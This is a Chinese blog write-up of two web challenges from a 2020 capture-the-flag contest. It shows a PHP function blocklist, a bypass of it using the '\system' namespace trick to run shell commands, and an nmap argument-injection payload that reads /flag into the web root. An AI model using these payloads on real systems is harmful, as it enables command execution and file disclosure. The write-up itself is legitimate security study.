c1ay's blog

2020网鼎杯朱雀组-部分web

字数统计: 442阅读时长: 1 min
2020/05/17 Share

phpweb

打开页面查看源码,发现有个隐藏表单会固定时间自动提交一些参数,如下

mark

通过提交的内容很容易想到了php代码执行,但是经过简单测试发现好像过滤了很多函数,那么首先尝试读取源码

1
func=file_get_contents&p=index.php

mark

获取到源码如下,很容易看到代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

发现在代码层设置了disable_function,里面过滤了很多函数,而且要求执行结果返回的类型为字符串才能输出,这里很容易能想到之前做过的P牛星球的Code-Breaking Puzzles挑战,通过php命名空间进行绕过,原理方面,直接贴出之前的笔记,当然,前提要求是php7
mark

所以这里可以使用\system直接绕过,获取flag

1
func=\system&p=find / -name *flag*

mark

1
func=\system&p=cat /tmp/flag_c6bf23b35ba2

mark

\phpinfo查看环境,发现就是php7,所以这样就能直接秒了,不知道有没有其它解法==
mark

nmap

应该是考察nmap的命令???
题目已经告诉flag在根目录了,直接输入127.0.0.1' -iL /flag -oN /var/www/html/aaa.txt 127.0.0.1,读取/flag写入网站根目录,访问就能获取flag了
mark
mark

CATALOG
  1. 1. phpweb
  2. 2. nmap